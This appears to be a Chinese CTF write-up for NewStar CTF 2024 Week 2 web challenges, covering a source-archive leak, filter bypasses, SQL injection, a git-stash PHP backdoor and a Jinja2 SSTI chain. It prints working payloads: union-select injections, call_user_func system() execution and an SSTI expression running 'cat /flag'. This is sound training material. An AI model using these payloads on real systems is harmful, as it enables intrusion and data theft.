NewStar-CTF-2024-Week2-Web
NewStar-CTF-2024-Week2-Web
xxshh你能在一秒内打出八句英文吗
经典脚本题,思路:先获取页面中需要输入的英文文本,再提交你获得的的文本。<p id='text'>
是一个 HTML 标签,它表示一个段落元素(<p>
)并且带有一个 ID 属性,值为 text
|
在 Python 的 requests
库中,r.content
和 r.text
是用于获取 HTTP 响应内容的两种方式,它们的区别在于数据类型和编码方式:
**r.content
**:
- 数据类型:
bytes
类型,即字节流。 - 用途:适用于处理非文本数据(如图片、视频、PDF 文件等)或需要进行特定编码处理的文本。
- 示例:
r.content
可以直接获取原始的二进制响应内容,如果要保存文件或手动解码可以使用它。
|
**r.text
**:
- 数据类型:
str
类型,即Unicode 文本。 - 用途:适用于文本数据,例如 HTML、JSON、XML 等。
requests
会根据响应的encoding
自动解码为 Unicode。 - 示例:
r.text
可直接用于解析文本响应内容,例如解析 JSON 响应。
|
遗失的拉链
提示:拉链的英文是 zip,这里是考的 www.zip
泄露
dirsearch扫描网站目录。
访问https://eci-2zeirp9f80ax1v9sfvhd.cloudeci1.ichunqiu.com/www.zip,下载
数组绕过:原理是 md5 等函数不能处理数组,导致函数返回null。而null是等于null的,导致了绕过。
例如,?new[]=value1
|
命令执行过滤了 cat
,使用 tac
代替。flag
被过滤,使用 fla*
通配符绕过。
注意分号。
谢谢皮蛋 plus
- 输入2-1和1,回显信息不同,证明是字符型注入。
- 接下来判断闭合方式,输入1“报错,说明是双引号。
- 输入
1" order by 2#
,记得注释!
判断空格可能被过滤。使用/**/
替换空格:1"/**/order/**/by/**/2#
字段数为2。 - 爆数据库:异常值+union select两字段#
-1"/**/union/**/select/**/database(),2#
- 爆表
-1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'#
- 爆字段
-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/and/**/table_name='Fl4g'#
猜测可能是and被过滤,使用&&替换。-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/&&/**/table_name='Fl4g'#
- 得到flag。
-1"/**/union/**/select/**/1,group_concat(des,value)/**/from/**/Fl4g#
这篇文章总结了一些常见的 SQL 注入:SQL 注入绕过过滤总结。
PangBai 过家家(2)
有泄露的文件,先目录扫描一下。
发现有git泄露。
使用 GitHack 工具从 .git 文件夹中泄露文件到本地。
进入dist下生成的文件夹,可以看到恢复的网站源码:
可以使用 git 命令查看当前项目的信息。
比如使用 git log
查看提交历史。
git stash list
查看所有被暂存的修改记录。它会列出当前分支中存储的所有“暂存内容”(stash)。
可以看到 Stash 中含有后门。
有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用 git stash
命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用 git stash pop
则可以将之前存储的内容重新恢复到工作区。又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。
使用 git stash pop
恢复后门文件到工作区。
发现了后门文件 BacKd0or.v2d23AOPpDfEW5Ca.php
,访问显示:
由于 git stash pop
已经将文件释放了出来,我们可以直接查看后门的源码:
|
主要看if ($_POST['papa'] !== 'TfflxoU0ry7c')
和else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024']))
在上面的代码中,正则表达式 '/^Welcome$/'
要求精确匹配 "Welcome"
,而 ^
和 $
分别匹配字符串的开头和结尾。由于 $
在单行模式下会将最后一个换行符视为字符串结尾,可以通过在 Welcome
后添加换行符来绕过这种检查。
因此,通过在 $_GET['NewStar_CTF.2024']
中添加换行符,攻击者可以在一些情况下绕过原本精确匹配的验证逻辑,从而让条件语句的判断意图失效。
但如果直接传参 NewStar_CTF.2024=Welcome%0A
会发现并没有用。这是由 NewStar_CTF.2024
中的特殊字符 .
引起的,PHP 默认会将其解析为 NewStar_CTF_2024
.
在 PHP 7 中,可以使用 [
字符的非正确替换漏洞。当传入的参数名中出现 [
且之后没有 ]
时,PHP 会将 [
替换为 _
因此,GET 传参 NewStar[CTF.2024=Welcome%0A
即可。
之后就是对call_user_func的利用:
由于 $_POST['func']
和 $_POST['args']
都是用户可控的输入,代码中没有进行任何验证或过滤,这种用法可能导致任意代码执行漏洞。用户可以通过向 func
传入 PHP 内置的敏感函数名称,或者指定某些自定义函数,实现执行任意代码的目的。例如:
- 用户传入
$_POST['func'] = 'system'
和$_POST['args'] = 'ls'
,则会执行system('ls')
,从而在服务器上执行命令。
env | grep flag
是一个命令行指令,通常用于查找包含关键字“flag”的环境变量。
- **
env
**:列出当前 shell 中的所有环境变量及其值。 |
(管道符):将前一个命令的输出传递给后一个命令。- **
grep flag
**:过滤env
命令的输出,仅显示包含“flag”关键字的行。
复读机
SSTI(Server-Side Template Injection)注入: 发生在一些服务器端使用的模板引擎(如 Jinja2、Twig、Thymeleaf 等)中,允许攻击者在模板中注入并执行恶意代码。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。凡是使用模板的地方都可能会出现 SSTI 的问题
http://f0und.icu/article/24.html
1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园
目前CTF常见的SSTI题中,大部分是考python的。python常见的模板有:Jinja2,tornado.
Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 块
由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等。
Python 中的对象带有许多特殊的 __dunder__
属性(也称为“魔术方法”),例如 __class__
、__dict__
和 __mro__
,它们提供了关于对象类型和结构的详细信息。
|
获取 object
类。
|
在 Python 中,object
类是所有类的基类,为每个类和对象提供了基础结构,如 __str__
、__repr__
、__init__
等常用方法,这些方法被所有类继承或重写。这使得不同类型的对象之间能够保持一致的行为,并且方便实现多态性。
python3: str.__mro__
会返回 (<class 'str'>, <class 'object'>)
python2:str.__mro__
会返回(<type 'str'>, <type 'basestring'>, <type 'object'>)
所以 python3 object
类是"a".__class__.__mro___[1]
。
找到object
类后,.__subclasses__()
返回其子类列表。
|
Python 中存在一些具有全局字典引用(如 __globals__
)的类,这些类的 __init__
方法会包含对全局字典的引用,从而能通过反射或属性访问来找到 eval
。如awnings,enum等类。
eval
是 Python 中的一个内置函数,用于动态执行表达式字符串,并返回结果。
由于 eval
可以执行任意代码,它有较高的安全风险。例如,如果用户输入了具有破坏性的代码,eval
将会无条件执行。因此,只有在确保安全的情况下才应使用 eval
,并尽可能避免直接暴露给用户输入。
通常情况下,eval
是直接可以从 __builtins__
访问的。__builtins__
是 Python 的全局命名空间中的一个字典,包含了所有内置函数、异常和对象。
|
在一些受限制的环境中,可能无法直接访问 eval
,需要通过反射或其他方式获取。例如,可以通过获取某些内置类型的 __init__
方法中的 __globals__
字典来间接访问 eval
:
|
解题步骤
1. 确定注入点是否存在 SSTI
- 在接触页面时,先尝试注入简单的模板表达式,比如
{{ 7*7 }}
,观察页面是否直接返回表达式结果。 - 正常情况下,用户输入应当被视为普通文本,不应执行其中的任何代码。如果输入
{{ 7*7 }}
被解析为49
,说明服务器将输入当成了代码,而不是普通文本,就说明该页面存在 SSTI 注入,可以通过模板语法进一步探索。
2. 探索过滤规则
- 尝试注入
{{ "a".__class__}}
来获取当前对象的类。页面输出异常信息(“bot 显示不喜欢上课”),说明__class__
被过滤,.
可能也会被视为敏感字符,因为它能直接访问对象的属性。 - 遇到关键字被过滤的情况,可以利用字符串拼接等技巧绕过过滤,例如
{{"a"['__cl'+'ass__']}}
,绕过__class__
关键字限制。其中用[]
来绕过.
过滤
3. 利用 SSTI 获取敏感对象和方法
- SSTI 的目的是执行服务端代码,所以我们需要找到一个能操作系统命令的类。
- 对于大多数语言,
object
是所有类的基类,我们可以通过访问object
来找到各种可能的类。 - 可以通过表达式
{{"a".['__cl'+'ass__']['__mro__'][1]}}
获取object
类; - 然后通过
{{"a".['__cl'+'ass__']['__mro__'][1]['__subc'+'lasses__']()}}
获得所有子类的列表。
4. 查找可利用的类
- 在获得
subclasses()
列表后,可以遍历其中的类,找到可能用于执行命令的类。在这个例子中,可以选择os._wrap_close
(通常位于索引 132,不同的 Python 版本和环境中,索引值可能有所不同)类。 os._wrap_close
类中包含了可以帮助调用系统命令的方法,比如__init__
中可以访问__globals__
属性,进一步获取 Python 内置的eval
函数。
5. 利用 eval
执行系统命令
- 通过
eval
,可以构造命令执行的表达式:{{"a".['__cl'+'ass__']['__mro__'][1]['__subc'+'lasses__']()[132]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
- **
__import__('os')
**:导入 Python 的os
模块。__import__()
是一个内置函数,可以用来动态导入模块。 - **
os.popen('cat /flag')
**:调用os.popen()
,它打开一个管道并执行命令cat /flag
。 - **
.read()
**:将执行命令的结果读出并返回。